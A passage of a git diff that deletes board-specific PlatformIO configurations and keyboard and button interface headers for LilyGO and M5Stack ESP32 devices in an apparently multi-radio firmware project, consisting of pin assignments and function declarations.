-DNRF24_SCK_PIN=SPI_SCK_PIN - -DNRF24_MISO_PIN=SPI_MISO_PIN - - ;Font sizes, depending on device - -DFP=1 - -DFM=2 - -DFG=3 - - ;Screen Setup - -DHAS_SCREEN=1 - -DROTATION=1 - -DWIDTH=240 - -DHEIGHT=135 - -DBACKLIGHT=38 - -DMINBRIGHT=160 - - ;TFT_eSPI Setup - -DUSER_SETUP_LOADED=1 - -DUSE_HSPI_PORT=1 - -DST7789_2_DRIVER=1 - -DTFT_RGB_ORDER=1 - -DTFT_WIDTH=135 - -DTFT_HEIGHT=240 - -DTFT_BACKLIGHT_ON=1 - -DTFT_BL=38 - -DTFT_RST=33 - -DTFT_DC=34 - -DTFT_MOSI=35 - -DTFT_SCLK=36 - -DTFT_CS=37 - -DTOUCH_CS=-1 - -DSMOOTH_FONT=1 - -DSPI_FREQUENCY=20000000 - -DSPI_READ_FREQUENCY=20000000 - -DSPI_TOUCH_FREQUENCY=2500000 - - ;SD Card Setup pins - -DSDCARD_CS=12 - -DSDCARD_SCK=40 - -DSDCARD_MISO=39 - -DSDCARD_MOSI=14 - - ;Default I2C port - -DGROVE_SDA=2 - -DGROVE_SCL=1 - - -DSPI_SCK_PIN=12 - -DSPI_MOSI_PIN=11 - -DSPI_MISO_PIN=13 - -DSPI_SS_PIN=10 - -lib_deps = - ${env.lib_deps} - xylopyrographer/LiteLED@^1.2.0 diff --git a/ports/lilygo-t-deck/interface.h b/ports/lilygo-t-deck/interface.h deleted file mode 100644 index b4d3fa09..00000000 --- a/ports/lilygo-t-deck/interface.h +++ /dev/null @@ -1,130 +0,0 @@ -#pragma once -#include -#include - -#define HAS_KEYBOARD //has keyboard to use -#define HAS_KEYBOARD_HID //has keyboard to use -#define KB_HID_EXIT_MSG "Mid Btn + Space to exit" - -/*************************************************************************************** -** Function name: _setup_gpio() -** Location: main.cpp -** Description: initial setup for the device -***************************************************************************************/ -void _setup_gpio(); - - -/*************************************************************************************** -** Function name: getBattery() -** location: display.cpp -** Description: Delivers the battery value from 1-100 -***************************************************************************************/ -int getBattery(); - - -/********************************************************************* -** Function: setBrightness -** location: settings.cpp -** set brightness value -**********************************************************************/ -void _setBrightness(uint8_t brightval); - - -/********************************************************************* -** Function: checkNextPress -** location: mykeyboard.cpp -** Verifies Upper Btn to go to previous item -**********************************************************************/ -bool checkNextPress(); - - -/********************************************************************* -** Function: checkPrevPress -** location: mykeyboard.cpp -** Verifies Down Btn to go to next item -**********************************************************************/ -bool checkPrevPress(); - - -/********************************************************************* -** Function: checkSelPress -** location: mykeyboard.cpp -** Verifies if Select or OK was pressed -**********************************************************************/ -bool checkSelPress(); - - -/********************************************************************* -** Function: checkEscPress -** location: mykeyboard.cpp -** Verifies if Escape btn was pressed -**********************************************************************/ -bool checkEscPress(); - - -/********************************************************************* -** Function: checkAnyKeyPress -** location: mykeyboard.cpp -** Verifies id any of the keys was pressed -**********************************************************************/ -bool checkAnyKeyPress(); - - -/********************************************************************* -** Function: keyboard -** location: mykeyboard.cpp -** Starts keyboard to type data -**********************************************************************/ -String keyboard(String mytext, int maxSize, String msg); - - -/********************************************************************* -** Function: powerOff -** location: mykeyboard.cpp -** Turns off the device (or try to) -**********************************************************************/ -void powerOff(); - - -/********************************************************************* -** Function: checkReboot -** location: mykeyboard.cpp -** Btn logic to tornoff the device (name is odd btw) -**********************************************************************/ -void checkReboot(); - -struct keyStroke { // DO NOT CHANGE IT!!!!! - bool pressed=false; - bool exit_key=false; - bool fn = false; - bool del = false; - bool enter = false; - uint8_t modifiers = 0; - std::vector word; - std::vector hid_keys; - std::vector modifier_keys; -}; -#if defined(HAS_KEYBOARD) // related functions - -/********************************************************************* -** Function: _checkKeyPress -** location: mykeyboard.cpp -** returns the key from the keyboard -**********************************************************************/ -keyStroke _getKeyPress(); // must return something that the keyboards won´t recognize by default - -/********************************************************************* -** Function: _checkNextPagePress -** location: mykeyboard.cpp -** returns the key from the keyboard -**********************************************************************/ -bool _checkNextPagePress(); - -/********************************************************************* -** Function: _checkPrevPagePress -** location: mykeyboard.cpp -** returns the key from the keyboard -**********************************************************************/ -bool _checkPrevPagePress(); - -#endif diff --git a/ports/lilygo-t-embed-cc1101/interface.h b/ports/lilygo-t-embed-cc1101/interface.h deleted file mode 100644 index 047e398f..00000000 --- a/ports/lilygo-t-embed-cc1101/interface.h +++ /dev/null @@ -1,133 +0,0 @@ -#pragma once -#include -#include - -#define RFID125_RX_PIN 44 -#define RFID125_TX_PIN 43 - -//#define HAS_KEYBOARD //has keyboard to use -//#define HAS_KEYBOARD_HID //has keyboard to use -//#define KB_HID_EXIT_MSG "Mid Btn + Space to exit" - -/*************************************************************************************** -** Function name: _setup_gpio() -** Location: main.cpp -** Description: initial setup for the device -***************************************************************************************/ -void _setup_gpio(); - - -/*************************************************************************************** -** Function name: getBattery() -** location: display.cpp -** Description: Delivers the battery value from 1-100 -***************************************************************************************/ -int getBattery(); - - -/********************************************************************* -** Function: setBrightness -** location: settings.cpp -** set brightness value -**********************************************************************/ -void _setBrightness(uint8_t brightval); - - -/********************************************************************* -** Function: checkNextPress -** location: mykeyboard.cpp -** Verifies Upper Btn to go to previous item -**********************************************************************/ -bool checkNextPress(); - - -/********************************************************************* -** Function: checkPrevPress -** location: mykeyboard.cpp -** Verifies Down Btn to go to next item -**********************************************************************/ -bool checkPrevPress(); - - -/********************************************************************* -** Function: checkSelPress -** location: mykeyboard.cpp -** Verifies if Select or OK was pressed -**********************************************************************/ -bool checkSelPress(); - - -/********************************************************************* -** Function: checkEscPress -** location: mykeyboard.cpp -** Verifies if Escape btn was pressed -**********************************************************************/ -bool checkEscPress(); - - -/********************************************************************* -** Function: checkAnyKeyPress -** location: mykeyboard.cpp -** Verifies id any of the keys was pressed -**********************************************************************/ -bool checkAnyKeyPress(); - - -/********************************************************************* -** Function: keyboard -** location: mykeyboard.cpp -** Starts keyboard to type data -**********************************************************************/ -String keyboard(String mytext, int maxSize, String msg); - - -/********************************************************************* -** Function: powerOff -** location: mykeyboard.cpp -** Turns off the device (or try to) -**********************************************************************/ -void powerOff(); - - -/********************************************************************* -** Function: checkReboot -** location: mykeyboard.cpp -** Btn logic to tornoff the device (name is odd btw) -**********************************************************************/ -void checkReboot(); - -struct keyStroke { // DO NOT CHANGE IT!!!!! - bool pressed=false; - bool exit_key=false; - bool fn = false; - bool del = false; - bool enter = false; - uint8_t modifiers = 0; - std::vector word; - std::vector hid_keys; - std::vector modifier_keys; -}; -#if defined(HAS_KEYBOARD) // related functions - -/********************************************************************* -** Function: _checkKeyPress -** location: mykeyboard.cpp -** returns the key from the keyboard -**********************************************************************/ -keyStroke _getKeyPress(); // must return something that the keyboards won´t recognize by default - -/********************************************************************* -** Function: _checkNextPagePress -** location: mykeyboard.cpp -** returns the key from the keyboard -**********************************************************************/ -bool _checkNextPagePress(); - -/********************************************************************* -** Function: _checkPrevPagePress -** location: mykeyboard.cpp -** returns the key from the keyboard -**********************************************************************/ -bool _checkPrevPagePress(); - -#endif diff --git a/ports/lilygo-t-embed-cc1101/platformio.ini b/ports/lilygo-t-embed-cc1101/platformio.ini deleted file mode 100644 index 3b4ff79e..00000000 --- a/ports/lilygo-t-embed-cc1101/platformio.ini +++ /dev/null @@ -1,345 +0,0 @@ -; PlatformIO Project Configuration File -; -; Build options: build flags, source filter -; Upload options: custom upload port, speed and extra flags -; Library options: dependencies, extra library storages -; Advanced options: extra scripting -; -; Please visit documentation for the other options and examples -; https://docs.platformio.org/page/projectconf.html - -#################################### EStart OF LILYGO MODELS ####################################### -[env:lilygo-t-embed-cc1101] -platform = https://github.com/bmorcelli/platform-espressif32/releases/download/0.0.4/platform-espressif32.zip -board = lilygo-t-display-s3 -framework = arduino -board_build.partitions = custom_16Mb.csv -build_src_filter =${env.build_src_filter} +<../ports/lilygo-t-embed-cc1101> -build_flags = - ${env.build_flags} - -Iports/lilygo-t-embed-cc1101 - -Os - -DBOARD_HAS_PSRAM - -mfix-esp32-psram-cache-issue - -mfix-esp32-psram-cache-strategy=memw - -DCORE_DEBUG_LEVEL=5 - -DARDUINO_USB_CDC_ON_BOOT=1 ; Used only in ESP32-S3 to make Serial Comands work - -DREDRAW_DELAY=1 # Used to improve navigation on menus for this device - - -DT_EMBED=1 ;key for new device, - -DT_EMBED_1101=1 ;mykeyboard.cpp: need map buttons an/or touchscreen and battery status value, - ;settings.cpp: need map brighness control - ;main.cpp: need set startup - ;serialcmds.cpp: need set power off command - -DBOARD_LORA_SW1=47 - -DBOARD_LORA_SW0=48 - - # Config to use IRQ and RST pins of PN532, if needed - -DPN532_RF_REST=45 - -DPN532_IRQ=17 - - ;Features Enabled - ;FM Radio - ;-DFM_SI4713=1 ;Uncomment to activate FM Radio using Adafruit Si4713 - -DFM_RSTPIN=40 - ;-DLITE_VERSION=1 ;limits some features to save space for M5Launcher Compatibility - ;Microphone - -DMIC_SPM1423=1 ;uncomment to enable Applicable for SPM1423 device - -DPIN_CLK=39 - -DI2S_SCLK_PIN=39 - -DI2S_DATA_PIN=42 - -DPIN_DATA=42 - - ;RGB LED runned by xylopyrographer/LiteLED@^1.2.0 library - ;-DHAS_RGB_LED=1 ;uncomment to enable - -DRGB_LED=21 - - ;Have RTC Chip - ;-DHAS_RTC=1 - - ; SERIAL (GPS) dedicated pins - -DSERIAL_TX=43 ;may be wrong - -DSERIAL_RX=44 - - ;Speaker to run music, compatible with NS4168 - -DHAS_NS4168_SPKR=1 ;uncomment to enable - -DBCLK=46 - -DWCLK=40 - -DDOUT=7 - -DMCLK=39 # Microphone CLK - - ;Can run USB as HID - -DUSB_as_HID=1 ;uncomment to enable - ;-DBAD_TX=GROVE_SDA - ;-DBAD_RX=GROVE_SCL - - ;Battery ADC read pin - ;-DBAT_PIN=10 - - ;BQ27220 Fuel Gauge - -DBQ27220_I2C_ADDRESS=0x55 - -DBQ27220_I2C_SDA=GROVE_SDA - -DBQ27220_I2C_SCL=GROVE_SCL - - ;Buttons configuration - -DHAS_BTN=1 - -DBTN_ALIAS='"Mid"' - -DSEL_BTN=0 - -DUP_BTN=-1 ;Dont have btns, use a encoder - -DDW_BTN=-1 ;Dont have btns, use a encoder - -DBK_BTN=6 - -DBTN_ACT=LOW - - -DENCODER_INA=4 - -DENCODER_INB=5 - -DENCODER_KEY=0 - - ;-DALLOW_ALL_GPIO_FOR_IR_RF=1 ; Set this option to make use of all GPIOs, from 1 to 44 to be chosen, except TFT and SD pins - - ;Infrared Led default pin and state - -DIR_TX_PINS='{{"Default", 2}, {"Pin 43", 43}, {"Pin 44", 44}}' - -DIR_RX_PINS='{{"Default", 1}, {"Pin 43", 43}, {"Pin 44", 44}}' - -DLED=2 ;NEED TO SET SOMETHING HERE, at least -1 - -DRXLED=1 - -DLED_ON=HIGH - -DLED_OFF=LOW - - ;Radio Frequency (one pin modules) pin setting - -DRF_TX_PINS='{{"Pin 43", 43}, {"Pin 44", 44}}' - -DRF_RX_PINS='{{"Pin 43", 43}, {"Pin 44", 44}}' - - ;CC1101 SPI connection pins - ; best connection pins for higher speed https://docs.espressif.com/projects/esp-idf/en/latest/esp32s3/api-reference/peripherals/spi_master.html#gpio-matrix-and-io-mux - -DUSE_CC1101_VIA_SPI - -DCC1101_GDO0_PIN=3 ; or 38, or 47 or 48? - -DCC1101_SS_PIN=12 - -DCC1101_MOSI_PIN=SPI_MOSI_PIN - -DCC1101_SCK_PIN=SPI_SCK_PIN - -DCC1101_MISO_PIN=SPI_MISO_PIN - -DCC1101_GDO2_PIN=38 ; optional - - ; connections are the same as CC1101 - -DUSE_NRF24_VIA_SPI - -DNRF24_CE_PIN=43 ; left Grove - -DNRF24_SS_PIN=44 ; chip select - -DNRF24_MOSI_PIN=SDCARD_MOSI - -DNRF24_SCK_PIN=SDCARD_SCK - -DNRF24_MISO_PIN=SDCARD_MISO - - ;Font sizes, depending on device - -DFP=1 - -DFM=2 - -DFG=3 - - ;Screen Setup - -DHAS_SCREEN=1 - -DROTATION=3 - -DWIDTH=320 - -DHEIGHT=170 - -DBACKLIGHT=TFT_BL - -DMINBRIGHT=1 - -DPIN_POWER_ON=15 - - ;TFT_eSPI display - -DUSER_SETUP_LOADED=1 - -DUSE_HSPI_PORT=1 - -DST7789_DRIVER=1 - -DTFT_WIDTH=170 - -DTFT_HEIGHT=320 - -DTFT_INVERSION_ON - -DTFT_BL=21 - -DTFT_MISO=SPI_MISO_PIN - -DTFT_MOSI=SPI_MOSI_PIN - -DTFT_SCLK=SPI_SCK_PIN - -DTFT_CS=41 - -DTFT_DC=16 - -DTFT_RST=-1 - -DTOUCH_CS=-1 - -DSMOOTH_FONT=1 - -DSPI_FREQUENCY=80000000 - -DSPI_READ_FREQUENCY=20000000 - -DSPI_TOUCH_FREQUENCY=2500000 - - ;SD Card Setup pins - -DSDCARD_CS=13 - -DSDCARD_SCK=SPI_SCK_PIN - -DSDCARD_MISO=SPI_MISO_PIN - -DSDCARD_MOSI=SPI_MOSI_PIN - - ;Default I2C port - -DGROVE_SDA=8 - -DGROVE_SCL=18 - - -DSPI_SCK_PIN=11 - -DSPI_MOSI_PIN=9 - -DSPI_MISO_PIN=10 - -DSPI_SS_PIN=8 - -lib_deps = - ${env.lib_deps} - lewisxhe/XPowersLib @0.2.6 - mathertel/RotaryEncoder @1.5.3 - - -[env:lilygo-t-embed] -platform = https://github.com/bmorcelli/platform-espressif32/releases/download/0.0.4/platform-espressif32.zip -board = lilygo-t-display-s3 -framework = arduino -board_build.partitions = custom_16Mb.csv -build_src_filter =${env.build_src_filter} +<../ports/lilygo-t-embed-cc1101> -build_flags = - ${env.build_flags} - -Iports/lilygo-t-embed-cc1101 - -Os - -DBOARD_HAS_PSRAM - -mfix-esp32-psram-cache-issue - -mfix-esp32-psram-cache-strategy=memw - -DCORE_DEBUG_LEVEL=5 - -DARDUINO_USB_CDC_ON_BOOT=1 ; Used only in ESP32-S3 to make Serial Comands work - -DREDRAW_DELAY=1 # Used to improve navigation on menus for this device - - -DT_EMBED=1 ;key for new device, - ;-DT_EMBED_1101=1 ;mykeyboard.cpp: need map buttons an/or touchscreen and battery status value, - ;settings.cpp: need map brighness control - ;main.cpp: need set startup - ;serialcmds.cpp: need set power off command - - ;Features Enabled - ;FM Radio - ;-DFM_SI4713=1 ;Uncomment to activate FM Radio using Adafruit Si4713 - -DFM_RSTPIN=40 - ;-DLITE_VERSION=1 ;limits some features to save space for M5Launcher Compatibility - ;Microphone - -DMIC_SPM1423=1 ;uncomment to enable Applicable for SPM1423 device - -DPIN_CLK=21 - -DI2S_SCLK_PIN=21 - -DI2S_DATA_PIN=14 - -DPIN_DATA=14 - - ;RGB LED runned by xylopyrographer/LiteLED@^1.2.0 library - ;-DHAS_RGB_LED=1 ;uncomment to enable - -DRGB_LED=21 - - ;Have RTC Chip - ;-DHAS_RTC=1 - - ; SERIAL (GPS) dedicated pins - -DSERIAL_TX=43 ;may be wrong - -DSERIAL_RX=44 - - ;Speaker to run music, compatible with NS4168 - -DHAS_NS4168_SPKR=1 ;uncomment to enable - -DBCLK=7 - -DWCLK=5 - -DDOUT=6 - -DMCLK=39 # Microphone CLK - - ;Can run USB as HID - -DUSB_as_HID=1 ;uncomment to enable - ;-DBAD_TX=GROVE_SDA - ;-DBAD_RX=GROVE_SCL - - ;Battery ADC read pin - -DBAT_PIN=4 - - ;Buttons configuration - -DHAS_BTN=1 - -DBTN_ALIAS='"Mid"' - -DSEL_BTN=0 - -DUP_BTN=-1 ;Dont have btns, use a encoder - -DDW_BTN=-1 ;Dont have btns, use a encoder - ;-DBK_BTN=6 ;Dont have this btn at all! - -DBTN_ACT=LOW - - -DENCODER_INA=2 - -DENCODER_INB=1 - -DENCODER_KEY=0 - - ;-DALLOW_ALL_GPIO_FOR_IR_RF=1 ; Set this option to make use of all GPIOs, from 1 to 44 to be chosen, except TFT and SD pins - - ;Infrared Led default pin and state - -DIR_TX_PINS='{{"Pin 16", 16},{"Pin 17", 17}, {"Pin 43", 43}, {"Pin 44", 44}}' - -DIR_RX_PINS='{{"Pin 16", 16},{"Pin 17", 17}, {"Pin 43", 43}, {"Pin 44", 44}}' - -DLED=44 - -DRXLED=43 - -DLED_ON=HIGH - -DLED_OFF=LOW - - ;Radio Frequency (one pin modules) pin setting - -DRF_TX_PINS='{{"Pin 16", 16},{"Pin 17", 17}, {"Pin 43", 43}, {"Pin 44", 44}}' - -DRF_RX_PINS='{{"Pin 16", 16},{"Pin 17", 17}, {"Pin 43", 43}, {"Pin 44", 44}}' - - ;CC1101 SPI connection pins - ; best connection pins for higher speed https://docs.espressif.com/projects/esp-idf/en/latest/esp32s3/api-reference/peripherals/spi_master.html#gpio-matrix-and-io-mux - -DUSE_CC1101_VIA_SPI - -DCC1101_GDO0_PIN=44 - -DCC1101_SS_PIN=43 - -DCC1101_MOSI_PIN=SPI_MOSI_PIN - -DCC1101_SCK_PIN=SPI_SCK_PIN - -DCC1101_MISO_PIN=SPI_MISO_PIN - ;-DCC1101_GDO2_PIN=14 ; optional - - ; connections are the same as CC1101 - -DUSE_NRF24_VIA_SPI - -DNRF24_CE_PIN=44 - -DNRF24_SS_PIN=43 - -DNRF24_MOSI_PIN=SDCARD_MOSI - -DNRF24_SCK_PIN=SDCARD_SCK - -DNRF24_MISO_PIN=SDCARD_MISO - - ;Font sizes, depending on device - -DFP=1 - -DFM=2 - -DFG=3 - - ;Screen Setup - -DHAS_SCREEN=1 - -DROTATION=3 - -DWIDTH=320 - -DHEIGHT=170 - -DBACKLIGHT=TFT_BL - -DMINBRIGHT=1 - -DPIN_POWER_ON=46 - - ;TFT_eSPI display - -DUSER_SETUP_LOADED=1 - -DUSE_HSPI_PORT=1 - -DST7789_DRIVER=1 - -DTFT_WIDTH=170 - -DTFT_HEIGHT=320 - -DTFT_RGB_ORDER=TFT_RGB - -DTFT_INVERSION_ON - -DTFT_BL=15 - -DTFT_MISO=-1 - -DTFT_MOSI=11 - -DTFT_SCLK=12 - -DTFT_CS=10 - -DTFT_DC=13 - -DTFT_RST=9 - -DTOUCH_CS=-1 - -DSMOOTH_FONT=1 - -DSPI_FREQUENCY=40000000 - -DSPI_READ_FREQUENCY=20000000 - -DSPI_TOUCH_FREQUENCY=2500000 - - ;SD Card Setup pins - -DSDCARD_CS=39 - -DSDCARD_SCK=40 - -DSDCARD_MISO=38 - -DSDCARD_MOSI=41 - - ;Default I2C port - -DGROVE_SDA=44 - -DGROVE_SCL=43 - - -DSPI_SCK_PIN=40 - -DSPI_MOSI_PIN=41 - -DSPI_MISO_PIN=38 - -DSPI_SS_PIN=17 - -lib_deps = - ${env.lib_deps} - lewisxhe/XPowersLib @0.2.6 - mathertel/RotaryEncoder @1.5.3 - -#################################### END OF LILYGO MODELS ####################################### diff --git a/ports/m5stack-cardputer/interface.h b/ports/m5stack-cardputer/interface.h deleted file mode 100644 index a4cfd0a3..00000000 --- a/ports/m5stack-cardputer/interface.h +++ /dev/null @@ -1,130 +0,0 @@ -#pragma once -#include -#include - -#define HAS_KEYBOARD //has keyboard to use -#define HAS_KEYBOARD_HID //has keyboard to use -#define KB_HID_EXIT_MSG "fn + esc to exit" - -/*************************************************************************************** -** Function name: _setup_gpio() -** Location: main.cpp -** Description: initial setup for the device -***************************************************************************************/ -void _setup_gpio(); - - -/*************************************************************************************** -** Function name: getBattery() -** location: display.cpp -** Description: Delivers the battery value from 1-100 -***************************************************************************************/ -int getBattery(); - - -/********************************************************************* -** Function: setBrightness -** location: settings.cpp -** set brightness value -**********************************************************************/ -void _setBrightness(uint8_t brightval); - - -/********************************************************************* -** Function: checkNextPress -** location: mykeyboard.cpp -** Verifies Upper Btn to go to previous item -**********************************************************************/ -bool checkNextPress(); - - -/********************************************************************* -** Function: checkPrevPress -** location: mykeyboard.cpp -** Verifies Down Btn to go to next item -**********************************************************************/ -bool checkPrevPress(); - - -/********************************************************************* -** Function: checkSelPress -** location: mykeyboard.cpp -** Verifies if Select or OK was pressed -**********************************************************************/ -bool checkSelPress(); - - -/********************************************************************* -** Function: checkEscPress -** location: mykeyboard.cpp -** Verifies if Escape btn was pressed -**********************************************************************/ -bool checkEscPress(); - - -/********************************************************************* -** Function: checkAnyKeyPress -** location: mykeyboard.cpp -** Verifies id any of the keys was pressed -**********************************************************************/ -bool checkAnyKeyPress(); - - -/********************************************************************* -** Function: keyboard -** location: mykeyboard.cpp -** Starts keyboard to type data -**********************************************************************/ -String keyboard(String mytext, int maxSize, String msg); - - -/********************************************************************* -** Function: powerOff -** location: mykeyboard.cpp -** Turns off the device (or try to) -**********************************************************************/ -void powerOff(); - - -/********************************************************************* -** Function: checkReboot -** location: mykeyboard.cpp -** Btn logic to tornoff the device (name is odd btw) -**********************************************************************/ -void checkReboot(); - -struct keyStroke { // DO NOT CHANGE IT!!!!! - bool pressed=false; - bool exit_key=false; - bool fn = false; - bool del = false; - bool enter = false; - uint8_t modifiers = 0; - std::vector word; - std::vector hid_keys; - std::vector modifier_keys; -}; -#if defined(HAS_KEYBOARD) // related functions - -/********************************************************************* -** Function: _checkKeyPress -** location: mykeyboard.cpp -** returns the key from the keyboard -**********************************************************************/ -keyStroke _getKeyPress(); // must return something that the keyboards won´t recognize by default - -/********************************************************************* -** Function: _checkNextPagePress -** location: mykeyboard.cpp -** returns the key from the keyboard -**********************************************************************/ -bool _checkNextPagePress(); - -/********************************************************************* -** Function: _checkPrevPagePress -** location: mykeyboard.cpp -** returns the key from the keyboard -**********************************************************************/ -bool _checkPrevPagePress(); - -#endif diff --git a/ports/m5stack-core/interface.h b/ports/m5stack-core/interface.h deleted file mode 100644 index 844098c6..00000000 --- a/ports/m5stack-core/interface.h +++ /dev/null @@ -1,130 +0,0 @@ -#pragma once -#include -#include - -//#define HAS_KEYBOARD //has keyboard to use -//#define HAS_KEYBOARD_HID //has keyboard to use -//#define KB_HID_EXIT_MSG "Mid Btn + Space to exit" - -/*************************************************************************************** -** Function name: _setup_gpio() -** Location: main.cpp -** Description: initial setup for the device -***************************************************************************************/ -void _setup_gpio(); - - -/*************************************************************************************** -** Function name: getBattery() -** location: display.cpp -** Description: Delivers the battery value from 1-100 -***************************************************************************************/ -int getBattery(); - - -/********************************************************************* -** Function: setBrightness -** location: settings.cpp -** set brightness value -**********************************************************************/ -void _setBrightness(uint8_t brightval); - - -/********************************************************************* -** Function: checkNextPress -** location: mykeyboard.cpp -** Verifies Upper Btn to go to previous item -**********************************************************************/ -bool checkNextPress(); - - -/********************************************************************* -** Function: checkPrevPress -** location: mykeyboard.cpp -** Verifies Down Btn to go to next item -**********************************************************************/ -bool checkPrevPress(); - - -/********************************************************************* -** Function: checkSelPress -** location: mykeyboard.cpp -** Verifies if Select or OK was pressed -**********************************************************************/ -bool checkSelPress(); - - -/********************************************************************* -** Function: checkEscPress -** location: mykeyboard.cpp -** Verifies if Escape btn was pressed -**********************************************************************/ -bool checkEscPress(); - - -/********************************************************************* -** Function: checkAnyKeyPress -** location: mykeyboard.cpp -** Verifies id any of the keys was pressed -**********************************************************************/ -bool checkAnyKeyPress(); - - -/********************************************************************* -** Function: keyboard -** location: mykeyboard.cpp -** Starts keyboard to type data -**********************************************************************/ -String keyboard(String mytext, int maxSize, String msg); - - -/********************************************************************* -** Function: powerOff -** location: mykeyboard.cpp -** Turns off the device (or try to) -**********************************************************************/ -void powerOff(); - - -/********************************************************************* -** Function: checkReboot -** location: mykeyboard.cpp -** Btn logic to tornoff the device (name is odd btw) -**********************************************************************/ -void checkReboot(); - -struct keyStroke { // DO NOT CHANGE IT!!!!! - bool pressed=false; - bool exit_key=false; - bool fn = false; - bool del = false; - bool enter = false; - uint8_t modifiers = 0; - std::vector word; - std::vector hid_keys; - std::vector modifier_keys; -}; -#if defined(HAS_KEYBOARD) // related functions - -/********************************************************************* -** Function: _checkKeyPress -** location: mykeyboard.cpp -** returns the key from the keyboard -**********************************************************************/ -keyStroke _getKeyPress(); // must return something that the keyboards won´t recognize by default - -/********************************************************************* -** Function: _checkNextPagePress -** location: mykeyboard.cpp -** returns the key from the keyboard -**********************************************************************/ -bool _checkNextPagePress(); - -/********************************************************************* -** Function: _checkPrevPagePress -** location: mykeyboard.cpp -** returns the key from the keyboard -**********************************************************************/ -bool _checkPrevPagePress(); - -#endif diff --git a/ports/m5stack-core2/interface.h b/ports/m5stack-core2/interface.h deleted file mode 100644 index 844098c6..00000000 --- a/ports/m5stack-core2/interface.h +++ /dev/null @@ -1,130 +0,0 @@ -#pragma once -#include -#include - -//#define HAS_KEYBOARD //has keyboard to use -//#define HAS_KEYBOARD_HID //has keyboard to use -//#define KB_HID_EXIT_MSG "Mid Btn + Space to exit" - -/*************************************************************************************** -** Function name: _setup_gpio() -** Location: main.cpp -** Description: initial setup for the device -***************************************************************************************/ -void _setup_gpio(); - - -/*************************************************************************************** -** Function name: getBattery() -** location: display.cpp -** Description: Delivers the battery value from 1-100 -***************************************************************************************/ -int getBattery(); - - -/********************************************************************* -** Function: setBrightness -** location: settings.cpp -** set brightness value -**********************************************************************/ -void _setBrightness(uint8_t brightval); - - -/********************************************************************* -** Function: checkNextPress -** location: mykeyboard.cpp -** Verifies Upper Btn to go to previous item -**********************************************************************/ -bool checkNextPress(); - - -/********************************************************************* -** Function: checkPrevPress -** location: mykeyboard.cpp -** Verifies Down Btn to go to next item -**********************************************************************/ -bool checkPrevPress(); - - -/********************************************************************* -** Function: checkSelPress -** location: mykeyboard.cpp -** Verifies if Select or OK was pressed -**********************************************************************/ -bool checkSelPress(); - - -/********************************************************************* -** Function: checkEscPress -** location: mykeyboard.cpp -** Verifies if Escape btn was pressed -**********************************************************************/ -bool checkEscPress(); - - -/********************************************************************* -** Function: checkAnyKeyPress -** location: mykeyboard.cpp -** Verifies id any of the keys was pressed -**********************************************************************/ -bool checkAnyKeyPress(); - - -/********************************************************************* -** Function: keyboard -** location: mykeyboard.cpp -** Starts keyboard to type data -**********************************************************************/ -String keyboard(String mytext, int maxSize, String msg); - - -/********************************************************************* -** Function: powerOff -** location: mykeyboard.cpp -** Turns off the device (or try to) -**********************************************************************/ -void powerOff(); - - -/********************************************************************* -** Function: checkReboot -** location: mykeyboard.cpp -** Btn logic to tornoff the device (name is odd btw) -**********************************************************************/ -void checkReboot(); - -struct keyStroke { // DO NOT CHANGE IT!!!!! - bool pressed=false; - bool exit_key=false; - bool fn = false; - bool del = false; - bool enter = false; - uint8_t modifiers = 0; - std::vector word; - std::vector hid_keys; - std::vector modifier_keys; -}; -#if defined(HAS_KEYBOARD) // related functions - -/********************************************************************* -** Function: _checkKeyPress -** location: mykeyboard.cpp -** returns the key from the keyboard -**********************************************************************/ -keyStroke _getKeyPress(); // must return something that the keyboards won´t recognize by default - -/********************************************************************* -** Function: _checkNextPagePress -** location: mykeyboard.cpp -** returns the key from the keyboard -**********************************************************************/ -bool _checkNextPagePress(); - -/********************************************************************* -** Function: _checkPrevPagePress -** location: mykeyboard.cpp -** returns the key from the keyboard -**********************************************************************/ -bool _checkPrevPagePress(); - -#endif diff --git a/ports/m5stack-cores3/interface.h b/ports/m5stack-cores3/interface.h deleted file mode 100644 index 844098c6..00000000 --- a/ports/m5stack-cores3/interface.h +++ /dev/null @@ -1,130 +0,0 @@ -#pragma once -#include -#include - -//#define HAS_KEYBOARD //has keyboard to use -//#define HAS_KEYBOARD_HID //has keyboard to use -//#define KB_HID_EXIT_MSG "Mid Btn + Space to exit" - -/*************************************************************************************** -** Function name: _setup_gpio() -** Location: main.cpp -** Description: initial setup for the device -***************************************************************************************/ -void _setup_gpio(); - - -/*************************************************************************************** -** Function name: getBattery() -** location: display.cpp -** Description: Delivers the battery value from 1-100 -***************************************************************************************/ -int getBattery(); - - -/********************************************************************* -** Function: setBrightness -** location: settings.cpp -** set brightness value -**********************************************************************/ -void _setBrightness(uint8_t brightval); - - -/********************************************************************* -** Function: checkNextPress -** location: mykeyboard.cpp -** Verifies Upper Btn to go to previous item -**********************************************************************/ -bool checkNextPress(); - - -/********************************************************************* -** Function: checkPrevPress -** location: mykeyboard.cpp -** Verifies Down Btn to go to next item -**********************************************************************/ -bool checkPrevPress(); - - -/********************************************************************* -** Function: checkSelPress -** location: mykeyboard.cpp -** Verifies if Select or OK was pressed -**********************************************************************/ -bool checkSelPress(); - - -/********************************************************************* -** Function: checkEscPress -** location: mykeyboard.cpp -** Verifies if Escape btn was pressed -**********************************************************************/ -bool checkEscPress(); - - -/********************************************************************* -** Function: checkAnyKeyPress -** location: mykeyboard.cpp -** Verifies id any of the keys was pressed -**********************************************************************/ -bool checkAnyKeyPress(); - - -/********************************************************************* -** Function: keyboard -** location: mykeyboard.cpp -** Starts keyboard to type data -**********************************************************************/ -String keyboard(String mytext, int maxSize, String msg); - - -/********************************************************************* -** Function: powerOff -** location: mykeyboard.cpp -** Turns off the device (or try to) -**********************************************************************/ -void powerOff(); - - -/********************************************************************* -** Function: checkReboot -** location: mykeyboard.cpp -** Btn logic to tornoff the device (name is odd btw) -**********************************************************************/ -void checkReboot(); - -struct keyStroke { // DO NOT CHANGE IT!!!!! - bool pressed=false; - bool exit_key=false; - bool fn = false; - bool del = false; - bool enter = false; - uint8_t modifiers = 0; - std::vector word; - std::vector hid_keys; - std::vector modifier_keys; -}; -#if defined(HAS_KEYBOARD) // related functions - -/********************************************************************* -** Function: _checkKeyPress -** location: mykeyboard.cpp -** returns the key from the keyboard -**********************************************************************/ -keyStroke _getKeyPress(); // must return something that the keyboards won´t recognize by default - -/********************************************************************* -** Function: _checkNextPagePress -** location: mykeyboard.cpp -** returns the key from the keyboard -**********************************************************************/ -bool _checkNextPagePress(); - -/********************************************************************* -** Function: _checkPrevPagePress -** location: mykeyboard.cpp -** returns the key from the keyboard -**********************************************************************/ -bool _checkPrevPagePress(); - 